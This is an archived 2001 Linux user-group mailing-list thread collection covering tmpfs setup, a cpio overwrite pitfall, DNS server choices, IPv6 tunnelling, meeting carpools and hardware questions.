tclug-list@mn-linux.org Sent: Friday, August 03, 2001 5:33 PM Subject: [TCLUG] HTML help. (OT) ? Ok I need some advice. My company has a 100 or so laptops out in the field. We are doing away with morning meets and sending in completed work via company supplied software. Unfortunately, they don't think of all the other paperwork that needs to get turned in on a daily basis. Making a spread sheet for each form would be the easiest way to solve the problem, but alas they are not willing to spend any moola. For office and they wont allow me to put star office on the laptops. They wont even allow them to connect to the internet. What I am wondering is. Is it possable to make a form with html. That would be stored on multiple computers ( not on a web site). They would fill in the form using a web browser. Then when done filling in, may be multiple of the same form. Email the contence of this form to one location? Then being able to view the individual forms? I have seen forms on the internet so I am sure the form could be done but the, where it goes and how its used I have no idea about. Any guidence would be of help. Thanks Kelly -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010803/5e1daae2/attachment.htm From simeonuj at eetc.com Sat Aug 4 00:21:50 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] runix References: <20010803213248.7a4ff27a.hick0088@tc.umn.edu> Message-ID: <3B6B85E8.345DF142@eetc.com> Mike Hicks wrote: > > Anyone tried Runix (Linux for PS1)? http://www.runix.ru/ > > I downloaded it, but I don't know what to do with it now. Do I just burn > the kernel image onto a CD? I've heard of it but never tried it. I'm wondering what good linux would do on the PS1? No network. No external storage (except the flash cards) and no easy way to get information to and from it (no way to get info from it that I know of). What would it be used for? As a workstation it would be kinda useless unless there was some sort of expansion network or storage device (which I've never heard of). For the PS2 I could see some possibilities. Network, DVD and storage. Would make a nice looking workstation. sim From florin at iucha.net Sat Aug 4 10:00:03 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] carpool? Message-ID: <20010804100003.B22102@beaver.iucha.org> Anybody in Shoreview/55126 area willing to carpool to the meeting? florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From spencer at mudpiefoods.com Sat Aug 4 10:17:59 2001 From: spencer at mudpiefoods.com (SpencerUnderground) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] nic trade Message-ID: <20010804101759.A3204@mudpiefoods.com> I have an SMC Ultra isa nic that I would like to trade for anything other that an ne2k isa nic. I will bring it to the meeting. Maybe I will trade with 'you'. -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From gmcdavid at winternet.com Sat Aug 4 10:31:23 2001 From: gmcdavid at winternet.com (Glenn McDavid) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] carpool? In-Reply-To: <20010804100003.B22102@beaver.iucha.org> Message-ID: On Sat, 4 Aug 2001, Florin Iucha wrote: > Anybody in Shoreview/55126 area willing to carpool to the meeting? Hi Florin, I live in Roseville (55113) . Give me a call at 651-490-1842. Note that I cannot stay for the Beer Meeting--I have family obligations later in the afternoon. Glenn McDavid mailto:gmcdavid@winternet.com http://www.winternet.com/~gmcdavid From dieman+tclug at ringworld.org Sat Aug 4 11:01:50 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] carpool? In-Reply-To: Message-ID: <20010804110150.J6692@ringworld.org> * Glenn McDavid [010804 10:33]: > On Sat, 4 Aug 2001, Florin Iucha wrote: > > > Anybody in Shoreview/55126 area willing to carpool to the meeting? > I live in Roseville (55113) . Give me a call at 651-490-1842. Note > that I cannot stay for the Beer Meeting--I have family obligations later > in the afternoon. I also live in Arden Hills/55112. If you need a ride just email back to me. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From tanner at real-time.com Sat Aug 4 15:04:40 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] Redhat Roswell Beta is online Message-ID: <20010804150440.C18707@real-time.com> ftp://ftp.mn-linux.org/linux/redhat/linux/beta/roswell/ -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Sat Aug 4 15:17:29 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] djbdns, bind presentations Message-ID: <20010804151729.E18707@real-time.com> Scott wanna post your reasons why not to run bind-9 in a production environment? I'm getting this info second-hand via irc, but I'd like to here another admin's opinion on why not to run bind-9 in production. Thanks. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From Nicksteeler12 at cs.com Sat Aug 4 15:55:26 2001 From: Nicksteeler12 at cs.com (Nicksteeler12@cs.com) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] runix Message-ID: I think thats what you do.. The company (according to NextGen magazine) is also working on other things to convert both PS1 and PS2 to actual computers by adding different things like for ps1 adding a hard drive that plugs in to either the controller slot or the mem card slot and a keyboard. PS2 will already have thouse things though From nate at techie.com Sat Aug 4 18:13:05 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] Slides for djbdns talk Message-ID: <20010804181305.A2487@candle.mn.mediaone.net> For those interested in the slides from my talk on djbdns, I'm posting them on my web site. http://candle.dhs.org/tclug/ You should find there the PDF file and the TeX source. TCLUG webmaster: Please copy these to mn-linux.org. I didn't see a repository of slides from past meetings. Maybe one should be made if it isn't just hiding. Others: If you find anything wrong with the slides. Please let me know and I'll try to improve them. Thanks, Nate Straz From chrome at real-time.com Sat Aug 4 20:39:05 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] tmpfs micro-HOWTO Message-ID: <20010804203900.C3219@real-time.com> So I heard Zibby yammering on about 'tmpfs' for the /tmp partition, on this list, and said 'hey, that sounds like a really cool idea'. So I decided to try it. problem is, there's *NO* doco about it yet. so here's what I gleaned from sorting through kernel-traffic archives, assembled into a micro-HOWTO. what is it? ----------- tmpfs is a RAM-based filesystem, that can be swapped out. it also has size-limitation options (which keeps it from filling up all your memory and bricking up the system). what do you need? ----------------- Linux 2.4.x (I think >2.4.2, but I could be wrong) mount v2.10h (?) (I have 2.11b. someone reported bugs in 2.11e, regarding tmpfs). procedure: ---------- - make sure you have a recent version of mount. - get a recent kernel - build the kernel with '#define CONFIG_TMPFS 1' in the .config file. if you do a 'make menuconfig', it's under Filesystems as 'Virtual memory file system support (former shm fs)' - try it out. here's my sample run: root@steel:/mnt# mkdir /mnt/temp root@steel:/mnt# dpkg -l mount Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad) ||/ Name Version Description +++-==============-==============-============================================ ii mount 2.11b-4 Tools for mounting and manipulating filesyst root@steel:/mnt# mount -t tmpfs tmpfs /mnt/temp/ root@steel:/mnt# mount /dev/hda1 on / type ext2 (rw,errors=remount-ro,errors=remount-ro) proc on /proc type proc (rw) devpts on /dev/pts type devpts (rw,gid=5,mode=620) /dev/hda4 on /home type ext2 (rw) /dev/hda5 on /usr type ext2 (rw) /dev/hda6 on /var type ext2 (rw) tmpfs on /mnt/temp type tmpfs (rw) root@steel:/mnt# df -h Filesystem Size Used Avail Use% Mounted on /dev/hda1 471M 34M 412M 8% / /dev/hda4 25G 1.9G 22G 8% /home /dev/hda5 4.6G 546M 3.8G 13% /usr /dev/hda6 1.8G 375M 1.3G 22% /var tmpfs 953M 0 953M 0% /mnt/temp root@steel:/mnt# umount /mnt/temp/ root@steel:/mnt# mount -t tmpfs -o size=128M tmpfs /mnt/temp/ root@steel:/mnt# mount /dev/hda1 on / type ext2 (rw,errors=remount-ro,errors=remount-ro) proc on /proc type proc (rw) devpts on /dev/pts type devpts (rw,gid=5,mode=620) /dev/hda4 on /home type ext2 (rw) /dev/hda5 on /usr type ext2 (rw) /dev/hda6 on /var type ext2 (rw) tmpfs on /mnt/temp type tmpfs (rw,size=128M) root@steel:/mnt# df -h Filesystem Size Used Avail Use% Mounted on /dev/hda1 471M 34M 412M 8% / /dev/hda4 25G 1.9G 22G 8% /home /dev/hda5 4.6G 546M 3.8G 13% /usr /dev/hda6 1.8G 375M 1.3G 22% /var tmpfs 128M 0 128M 0% /mnt/temp as we can see from this: - yes, I have nearly 1GB of swap. doesn't hurt, and I've got to use this huge disk *somehow*. :) - tmpfs, if not given a size= option, will assume it can use *all* the space. this is a *BAD THING* because runaway processes filling up your filesystem, will fill up all of your memory, giving an Out Of Memory condition that's awfully hard to recover from. and here's the entry I put in my /etc/fstab: tmpfs /tmp tmpfs defaults,size=500M 0 0 be warned, I haven't yet actually tried rebooting with this setup; but I don't see why it wouldn't work. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Sat Aug 4 21:28:12 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] cpio bug? Message-ID: <20010804212807.A3945@real-time.com> here's a wierd one. discovered the hard way, that specifying '.' as a destination directory for cpio, is dangerous. anyone know why this happens: chrome@steel:/var/tmp$ find usr/ -xdev usr/ usr/share usr/share/examples usr/share/examples/apm usr/share/examples/apm/script chrome@steel:/var/tmp$ mkdir test chrome@steel:/var/tmp$ find usr/ -xdev|cpio -padmuv test/ test//usr/ test//usr/share test//usr/share/examples test//usr/share/examples/apm test//usr/share/examples/apm/script 4 blocks chrome@steel:/var/tmp$ find test/ test/ test/usr test/usr/share test/usr/share/examples test/usr/share/examples/apm test/usr/share/examples/apm/script chrome@steel:/var/tmp$ find usr/ -xdev|cpio -padmuv . ./usr/ ./usr/share ./usr/share/examples ./usr/share/examples/apm cpio: usr/share/examples/apm/script: No such file or directory 0 blocks chrome@steel:/var/tmp$ find usr/ usr/ usr/share usr/share/examples usr/share/examples/apm cpio should *NOT* be deleting files! but it plainly does. :( as the example above shows, it copies things fine, if you specify a directory name; but if you spceify a '.'; it won't copy anything, and it'll delete the files it copies. :( is this a kernel bug, cpio bug, or just ignorance on my part? Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From sos at zjod.net Sat Aug 4 22:36:26 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] cpio bug? No. Here's why... In-Reply-To: <20010804212807.A3945@real-time.com> from "Carl Wilhelm Soderstrom" at Aug 04, 2001 09:28:12 PM Message-ID: <200108050336.WAA29423@zjod.net> Carl Wilhelm Soderstrom wrote: > > here's a wierd one. > discovered the hard way, that specifying '.' as a destination directory for > cpio, is dangerous. > > anyone know why this happens: > chrome@steel:/var/tmp$ find usr/ -xdev > usr/ > usr/share > usr/share/examples > usr/share/examples/apm > usr/share/examples/apm/script > chrome@steel:/var/tmp$ mkdir test > chrome@steel:/var/tmp$ find usr/ -xdev|cpio -padmuv test/ > test//usr/ > test//usr/share > test//usr/share/examples > test//usr/share/examples/apm > test//usr/share/examples/apm/script > 4 blocks > chrome@steel:/var/tmp$ find test/ > test/ > test/usr > test/usr/share > test/usr/share/examples > test/usr/share/examples/apm > test/usr/share/examples/apm/script > chrome@steel:/var/tmp$ find usr/ -xdev|cpio -padmuv . > ./usr/ > ./usr/share > ./usr/share/examples > ./usr/share/examples/apm > cpio: usr/share/examples/apm/script: No such file or directory > 0 blocks > chrome@steel:/var/tmp$ find usr/ > usr/ > usr/share > usr/share/examples > usr/share/examples/apm > > cpio should *NOT* be deleting files! but it plainly does. :( > as the example above shows, it copies things fine, if you specify a > directory name; but if you spceify a '.'; it won't copy anything, and it'll > delete the files it copies. :( > > is this a kernel bug, cpio bug, or just ignorance on my part? > > Carl Soderstrom Not actually a bug... it's a "feature". You need to understand how cpio copies a file (via either "cpio p..." or "cpio -i"). The basic algorithm for to copy in a _file_ (not a directory, pipe, et al) is: read $i # actually, this is the cpio header data (inode info) for the # file, which is followed in a cpio archive by the file itself if [ -e $i ] then rm -f $i fi cat input > $i # the file size is in the cpio header Note that in your last cpio example (the one where the file disappears), your sources for the copy are also your target. Thus, when we apply the above "copyin" algorithm with source==target, we delete the file we're trying to copy (onto itself) before we actually try to copy it... Ta Da! No more file! Hope this helps'idly, -S From florin at iucha.net Sun Aug 5 00:33:08 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] tmpfs micro-HOWTO In-Reply-To: <20010804203900.C3219@real-time.com>; from chrome@real-time.com on Sat, Aug 04, 2001 at 08:39:05PM -0500 References: <20010804203900.C3219@real-time.com> Message-ID: <20010805003308.A5472@beaver.iucha.org> On Sat, Aug 04, 2001 at 08:39:05PM -0500, Carl Wilhelm Soderstrom wrote: > be warned, I haven't yet actually tried rebooting with this setup; but I > don't see why it wouldn't work. I am using it for months now. No problems. I have heard problems in -ac series though; I am using Linus vanilla. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From dieman at ringworld.org Sun Aug 5 03:13:52 2001 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] Slides Message-ID: <20010805031352.K6692@ringworld.org> http://www.ringworld.net/~dieman/slides/dns-tclug/ -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Sun Aug 5 03:22:22 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] djbdns, bind presentations In-Reply-To: <20010804151729.E18707@real-time.com> Message-ID: <20010805032222.L6692@ringworld.org> * Bob Tanner [010804 15:19]: > Scott wanna post your reasons why not to run bind-9 in a production environment? Mostly because I haven't had long-term experience with it. I just recently installed it while I was at USENIX. I haven't had any catastrophic problems, yet. But mostly this is a 'wait and see theres usually some crazy ass bug in major rewrites of bind and it hasn't happened yet, whats going on'. Look how long it took to get bind4 people up to bind8 :) I don't want to give *anyone* a false sense of security by having them put out their resources too far when they dont need any new bind9 features, such as DNSSEC or secure xfers, etc. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Sun Aug 5 03:23:25 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] tmpfs micro-HOWTO In-Reply-To: <20010804203900.C3219@real-time.com> Message-ID: <20010805032325.M6692@ringworld.org> * Carl Wilhelm Soderstrom [010804 20:40]: > So I heard Zibby yammering on about 'tmpfs' for the /tmp partition, on this I have one issue with it last time I checked, you can't mount a loopback filesystem from a file on a tmpfs. :| -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From chrome at real-time.com Sun Aug 5 08:07:45 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] tmpfs micro-HOWTO In-Reply-To: <20010805032325.M6692@ringworld.org>; from dieman+tclug@ringworld.org on Sun, Aug 05, 2001 at 03:23:25AM -0500 References: <20010804203900.C3219@real-time.com> <20010805032325.M6692@ringworld.org> Message-ID: <20010805080745.A4309@real-time.com> > I have one issue with it last time I checked, you can't mount a loopback > filesystem from a file on a tmpfs. :| hmmm. ok. I guess I can see that. does it fail gracefully, or do Bad Things Happen? Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Sun Aug 5 08:16:11 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] cpio bug? No. Here's why... In-Reply-To: <200108050336.WAA29423@zjod.net>; from sos@zjod.net on Sat, Aug 04, 2001 at 10:36:26PM -0500 References: <20010804212807.A3945@real-time.com> <200108050336.WAA29423@zjod.net> Message-ID: <20010805081606.B4309@real-time.com> > The basic algorithm for to copy in a _file_ (not a directory, pipe, et al) is: > > read $i # actually, this is the cpio header data (inode info) for the > # file, which is followed in a cpio archive by the file itself > if [ -e $i ] > then rm -f $i ^^^^^ wait a second here! cpio is supposed to *copy* files, not *move* them. the man page repeatedly uses the word 'copy', and never mentions anything about 'delete'. > fi > cat input > $i # the file size is in the cpio header > > Note that in your last cpio example (the one where the file disappears), > your sources for the copy are also your target. ok. bad example. but it holds even when the source is in a tree adjacent to the current directory: chrome@steel:/var/tmp/test$ dir total 8.0k drwxr-xr-x 2 chrome chrome 4.0k Aug 5 08:13 ./ drwxrwxrwt 4 root root 4.0k Aug 5 06:26 ../ -rw-r--r-- 1 chrome chrome 0 Aug 5 08:12 file1 -rw-r--r-- 1 chrome chrome 0 Aug 5 08:13 file2 -rw-r--r-- 1 chrome chrome 0 Aug 5 08:13 file3 -rw-r--r-- 1 chrome chrome 0 Aug 5 08:13 file4 chrome@steel:/var/tmp/test$ cd - /var/tmp/try chrome@steel:/var/tmp/try$ find ../test/|cpio -padmuv . ./../test/ cpio: ../test/file1: No such file or directory cpio: ../test/file2: No such file or directory cpio: ../test/file3: No such file or directory cpio: ../test/file4: No such file or directory 0 blocks chrome@steel:/var/tmp/try$ dir /var/tmp/test/ total 8.0k drwxr-xr-x 2 chrome chrome 4.0k Aug 5 08:13 ./ drwxrwxrwt 4 root root 4.0k Aug 5 06:26 ../ Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From florin at iucha.net Sun Aug 5 08:51:02 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] tmpfs micro-HOWTO In-Reply-To: <20010805032325.M6692@ringworld.org>; from dieman+tclug@ringworld.org on Sun, Aug 05, 2001 at 03:23:25AM -0500 References: <20010804203900.C3219@real-time.com> <20010805032325.M6692@ringworld.org> Message-ID: <20010805085102.A25082@beaver.iucha.org> On Sun, Aug 05, 2001 at 03:23:25AM -0500, Scott Dier wrote: > * Carl Wilhelm Soderstrom [010804 20:40]: > > So I heard Zibby yammering on about 'tmpfs' for the /tmp partition, on this > > I have one issue with it last time I checked, you can't mount a loopback > filesystem from a file on a tmpfs. :| That's your problem :) I don't have enough ram to put isos there... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From dieman+tclug at ringworld.org Sun Aug 5 08:59:20 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] tmpfs micro-HOWTO In-Reply-To: <20010805085102.A25082@beaver.iucha.org> Message-ID: <20010805085920.N6692@ringworld.org> * Florin Iucha [010805 08:58]: > That's your problem :) I don't have enough ram to put isos there... Some of the progeny deb's use it to put floppy images in progress, or new initrd's and the such. Its slightly annoying. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From esper at sherohman.org Sun Aug 5 10:01:15 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:28 2005 Subject: [TCLUG] cpio bug? No. Here's why... In-Reply-To: <20010805081606.B4309@real-time.com>; from chrome@real-time.com on Sun, Aug 05, 2001 at 08:16:11AM -0500 References: <20010804212807.A3945@real-time.com> <200108050336.WAA29423@zjod.net> <20010805081606.B4309@real-time.com> Message-ID: <20010805100115.A12669@sherohman.org> On Sun, Aug 05, 2001 at 08:16:11AM -0500, Carl Wilhelm Soderstrom wrote: > > The basic algorithm for to copy in a _file_ (not a directory, pipe, et al) is: > > > > read $i # actually, this is the cpio header data (inode info) for the > > # file, which is followed in a cpio archive by the file itself > > if [ -e $i ] > > then rm -f $i > ^^^^^ > > wait a second here! cpio is supposed to *copy* files, not *move* > them. the man page repeatedly uses the word 'copy', and never mentions > anything about 'delete'. No,w I have to agree with you, Carl, that deletion really shouldn't be part of cpio's fetaure set, but the example you quoted has nothing to do with moving files. It's deleting any preexisting file on the destination filename; the source file is untouched. Unless the source and destination are the same file, in which case Bad Things Happen. cp is smart enough to complain that "`foo' and `foo' are the same file" if you try to copy something onto itself, so I can't see why cpio should destroy the file in that case. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From sos at zjod.net Sun Aug 5 10:14:07 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:29 2005 Subject: [TCLUG] cpio bug? No. Here's why... In-Reply-To: <20010805081606.B4309@real-time.com> from "Carl Wilhelm Soderstrom" at Aug 05, 2001 08:16:11 AM Message-ID: <200108051514.KAA00913@zjod.net> Carl Wilhelm Soderstrom wrote: > > > The basic algorithm for to copy in a _file_ (not a directory, pipe, et al) is: > > > > read $i # actually, this is the cpio header data (inode info) for the > > # file, which is followed in a cpio archive by the file itself > > if [ -e $i ] > > then rm -f $i > ^^^^^ > > wait a second here! cpio is supposed to *copy* files, not *move* > them. the man page repeatedly uses the word 'copy', and never mentions > anything about 'delete'. > Yeah, but at the most basic level, the existing file must be removed before a new one with the same name can be put in its place. > > fi > > cat input > $i # the file size is in the cpio header > > > > Note that in your last cpio example (the one where the file disappears), > > your sources for the copy are also your target. > > ok. bad example. but it holds even when the source is in a tree > adjacent to the current directory: > > chrome@steel:/var/tmp/test$ dir > total 8.0k > drwxr-xr-x 2 chrome chrome 4.0k Aug 5 08:13 ./ > drwxrwxrwt 4 root root 4.0k Aug 5 06:26 ../ > -rw-r--r-- 1 chrome chrome 0 Aug 5 08:12 file1 > -rw-r--r-- 1 chrome chrome 0 Aug 5 08:13 file2 > -rw-r--r-- 1 chrome chrome 0 Aug 5 08:13 file3 > -rw-r--r-- 1 chrome chrome 0 Aug 5 08:13 file4 > chrome@steel:/var/tmp/test$ cd - > /var/tmp/try > chrome@steel:/var/tmp/try$ find ../test/|cpio -padmuv . > ./../test/ > cpio: ../test/file1: No such file or directory > cpio: ../test/file2: No such file or directory > cpio: ../test/file3: No such file or directory > cpio: ../test/file4: No such file or directory > 0 blocks > chrome@steel:/var/tmp/try$ dir /var/tmp/test/ > total 8.0k > drwxr-xr-x 2 chrome chrome 4.0k Aug 5 08:13 ./ > drwxrwxrwt 4 root root 4.0k Aug 5 06:26 ../ > > Carl Soderstrom This is actually the same situation. When you do a "find ../test/" on the left side of the pipe you get: ../test ../test/file1 ../test/file2 ../test/file3 ../test/file4 Note the "../" part here, okay? Note also that "./" is identical to "." Now, pipe the command into " | cpio -pdumva .", which basically is the same thing as applying that copyin routine above. The targets now become: ./../test ./../test/file1 ./../test/file2 ./../test/file3 ./../test/file4 Since the source file "../test/file1" _is_ the target "./../test/file1", once again, "./../test/file1" is removed before it can be written. The directory isn't removed because copying a directory with "cpio -pdumva" is basically a "mkdir" followed by a "touch". BTW: Note that if instead, you had done: cd /var/tmp/test find . -print | cpio -pdumva ../test you'd have gotten what you expected. Hope this helps'idly, -S From sos at zjod.net Sun Aug 5 10:15:26 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:29 2005 Subject: [TCLUG] cpio bug? No. Here's why... In-Reply-To: <20010805100115.A12669@sherohman.org> from "Dave Sherohman" at Aug 05, 2001 10:01:15 AM Message-ID: <200108051515.KAA00948@zjod.net> Dave Sherohman wrote: > > On Sun, Aug 05, 2001 at 08:16:11AM -0500, Carl Wilhelm Soderstrom wrote: > > > The basic algorithm for to copy in a _file_ (not a directory, pipe, et al) is: > > > > > > read $i # actually, this is the cpio header data (inode info) for the > > > # file, which is followed in a cpio archive by the file itself > > > if [ -e $i ] > > > then rm -f $i > > ^^^^^ > > > > wait a second here! cpio is supposed to *copy* files, not *move* > > them. the man page repeatedly uses the word 'copy', and never mentions > > anything about 'delete'. > > No,w I have to agree with you, Carl, that deletion really shouldn't be > part of cpio's fetaure set, but the example you quoted has nothing to > do with moving files. It's deleting any preexisting file on the > destination filename; the source file is untouched. Unless the source > and destination are the same file, in which case Bad Things Happen. > > cp is smart enough to complain that "`foo' and `foo' are the same file" > if you try to copy something onto itself, so I can't see why cpio > should destroy the file in that case. > Because cp(1) has logic that checks. cpio(1) doesn't. Both commands use unlink(2) to remove files. -S From esper at sherohman.org Sun Aug 5 10:29:38 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:29 2005 Subject: [TCLUG] cpio bug? No. Here's why... In-Reply-To: <200108051515.KAA00948@zjod.net>; from sos@zjod.net on Sun, Aug 05, 2001 at 10:15:26AM -0500 References: <20010805100115.A12669@sherohman.org> <200108051515.KAA00948@zjod.net> Message-ID: <20010805102938.B12669@sherohman.org> On Sun, Aug 05, 2001 at 10:15:26AM -0500, Steve Siegfried wrote: > Dave Sherohman wrote: > > cp is smart enough to complain that "`foo' and `foo' are the same file" > > if you try to copy something onto itself, so I can't see why cpio > > should destroy the file in that case. > > > > Because cp(1) has logic that checks. cpio(1) doesn't. Both commands use > unlink(2) to remove files. Right. I didn't mean "should" in the sense of "what code causes it", but rather "why would it be The Right Thing for cp to have that check and cpio to omit it?" -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From ssinn at qwest.net Sun Aug 5 12:10:30 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:25:29 2005 Subject: [TCLUG] sendmail reverse lookups Message-ID: <20010805121030.A9052@thor> Could someone tell me how to stop and restart the reverse lookup sendmail performs when receiving mail? A spammer has been trying to send me an email for 2 days and sendmail is filling up my mail log :) -- Thanks, Spencer J Sinn From chrome at real-time.com Sun Aug 5 12:23:09 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:29 2005 Subject: [TCLUG] cpio bug? No. Here's why... In-Reply-To: <200108051514.KAA00913@zjod.net>; from sos@zjod.net on Sun, Aug 05, 2001 at 10:14:07AM -0500 References: <20010805081606.B4309@real-time.com> <200108051514.KAA00913@zjod.net> Message-ID: <20010805122304.F9075@real-time.com> > Yeah, but at the most basic level, the existing file must be removed before a > new one with the same name can be put in its place. aha.. ok. another case of UNIX letting you shoot yourself in the leg, and hoping that you learn from the experience. :) > Now, pipe the command into " | cpio -pdumva .", which basically is the > same thing as applying that copyin routine above. The targets now become: > ./../test > ./../test/file1 > ./../test/file2 > ./../test/file3 > ./../test/file4 > > Since the source file "../test/file1" _is_ the target "./../test/file1", > once again, "./../test/file1" is removed before it can be written. > > The directory isn't removed because copying a directory with "cpio -pdumva" > is basically a "mkdir" followed by a "touch". > > > BTW: Note that if instead, you had done: > > cd /var/tmp/test > find . -print | cpio -pdumva ../test > > you'd have gotten what you expected. aha... ok. I think I see now. thanks much. :) Carl. -- Network Engineer Real-Time Enterprises (952) 943-8700 From hick0088 at tc.umn.edu Sun Aug 5 14:49:14 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:29 2005 Subject: [TCLUG] IPv6 troubleshooting (whee!) Message-ID: <20010805144914.5d5bd450.hick0088@tc.umn.edu> Has anyone else tried to set up a Linux IPv6 router through Freenet6 [http://www.freenet6.net/]? I seem to have most of the pieces in place: I downloaded their `tspc' client and set up my userid/password, and it authenticates to a server on their end and sets up an IPv6-in-IPv4 tunnel. I also start radvd (the router advertisement daemon) on my system, which tells other machines on my network that an IPv6 router is available. My client box (appears to) properly configure itself with an IPv6 address. We now come to the perennial issue: I can ping6 the router from the client and vice-versa. The router can talk to the IPv6 internet, but nothing appears to be getting routed between eth0 (the real ethernet interface) and sit1 (the virtual IPv6-in-IPv4 interface), so the client box can't see the IPv6 internet. mike@hardrock:~$ ping6 www.kame.net PING www.kame.net(apple.kame.net) 56 data bytes From dutchman at uswest.net Sun Aug 5 18:58:40 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:25:29 2005 Subject: [TCLUG] CPU and Fan Message-ID: <3B6DDDB0.4060909@uswest.net> Quick question for a Sunday, I am putting together a PC and this is the first one where the CPU and fan did not come as a single unit. The CPU is an Athlon 1.4 GHz and the fan instructions are non-existant. Does the thermal compound go on the little square located on the CPU? Second question, the fans are actually two fans and the board has two inserts for fans. However, I have read where the fans should not draw power from the board but from the power supply itself. Can I have the fans run from the board or do I hook it directly into the power supply? Thank you for the consideration -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From spencer at mudpiefoods.com Sun Aug 5 19:02:09 2001 From: spencer at mudpiefoods.com (SpencerUnderground) Date: Mon Jan 17 13:25:30 2005 Subject: [TCLUG] CPU and Fan In-Reply-To: <3B6DDDB0.4060909@uswest.net>; from dutchman@uswest.net on Sun, Aug 05, 2001 at 06:58:40PM -0500 References: <3B6DDDB0.4060909@uswest.net> Message-ID: <20010805190209.C7104@mudpiefoods.com> On Sun, Aug 05, 2001 at 06:58:40PM -0500, Perry Hoekstra wrote: > From: "Perry Hoekstra" > To: tclug-list@mn-linux.org > User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010628 > X-Accept-Language: en-us > Subject: [TCLUG] CPU and Fan > Errors-To: tclug-list-admin@mn-linux.org > X-BeenThere: tclug-list@mn-linux.org > X-Mailman-Version: 2.0.6 > Precedence: bulk > Reply-To: tclug-list@mn-linux.org > List-Help: > List-Post: > List-Subscribe: , > > List-Id: Twin Cities Linux Users Group Mailing List > List-Unsubscribe: , > > List-Archive: > Date: Sun, 05 Aug 2001 18:58:40 -0500 > X-UIDL: 